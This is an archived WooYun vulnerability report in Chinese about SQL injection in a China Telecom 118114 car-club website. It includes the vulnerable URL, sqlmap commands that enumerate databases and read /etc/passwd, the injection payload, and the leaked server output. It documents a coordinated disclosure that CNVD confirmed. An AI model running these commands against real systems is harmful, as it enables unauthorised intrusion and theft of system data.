乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-05-20: 细节已通知厂商并且等待厂商处理中 2014-05-25: 厂商已经确认,细节仅向厂商公开 2014-06-04: 细节向核心白帽子及相关领域专家公开 2014-06-14: 细节向普通白帽子公开 2014-06-24: 细节向实习白帽子公开 2014-07-04: 细节向公众公开
电信的业务线太长了唉
号码百事通车友圈 http://auto.118114.cn/ 从新注册用户的UID可以推断出该站约有5W多会员。在 http://auto.118114.cn/entry 注册页面选择"企业用户注册",选择一个省份后抓取到一条HTTP请求:
http://auto.118114.cn/block/loginact?act=get_areas&pcode=110000®istercateg=1&v=37
其中, pcode参数存在SQL注射。
sqlmap.py -u "http://auto.118114.cn/block/loginact?act=get_areas&pcode=110000®istercateg=1&v=37" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: pcode Type: UNION query Title: MySQL UNION query (NULL) - 5 columns Payload: act=get_areas&pcode=110000 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716e6f7471,0x4856624675454663676a,0x7169626a71),NULL#®istercateg=1&v=37---web server operating system: Linux Ubuntu 8.04 (Hardy Heron)web application technology: Apache 2.2.8back-end DBMS: MySQL 5current user: 'root@localhost'current database: 'ucenter'available databases [10]:[*] 114[*] gcn1[*] information_schema[*] itoa[*] mysql[*] phpmyadmin[*] sns_ibesttone[*] ucenter[*] ucenter1[*] ucenter2
sqlmap.py -u "http://auto.118114.cn/block/loginact?act=get_areas&pcode=110000®istercateg=1&v=37" --file-read="/etc/passwd"
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shlibuuid:x:100:101::/var/lib/libuuid:/bin/shdhcp:x:101:102::/nonexistent:/bin/falsesyslog:x:102:103::/home/syslog:/bin/falseklog:x:103:104::/home/klog:/bin/falsemysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/falsesshd:x:105:65534::/var/run/sshd:/usr/sbin/nologinbst:x:1000:1000:bst,,,:/home/bst:/bin/bashftp:x:106:65534::/home/ftp:/bin/falseftp1:x:1002:1003::/home/ftp1:/bin/shbstftp:x:1003:1005::/var/www:/bin/shbst1:x:1004:1006::/home/bst1:/bin/shoracle:x:1005:1007::/home/oracle:/bin/bashpostfix:x:107:116::/var/spool/postfix:/bin/false
电信更专业:)
危害等级:高
漏洞Rank:12
确认时间:2014-05-25 09:11
cnvd确认并复现所述漏 洞情况,已经转 由cncert直接通报中国电信集团公司处置。
暂无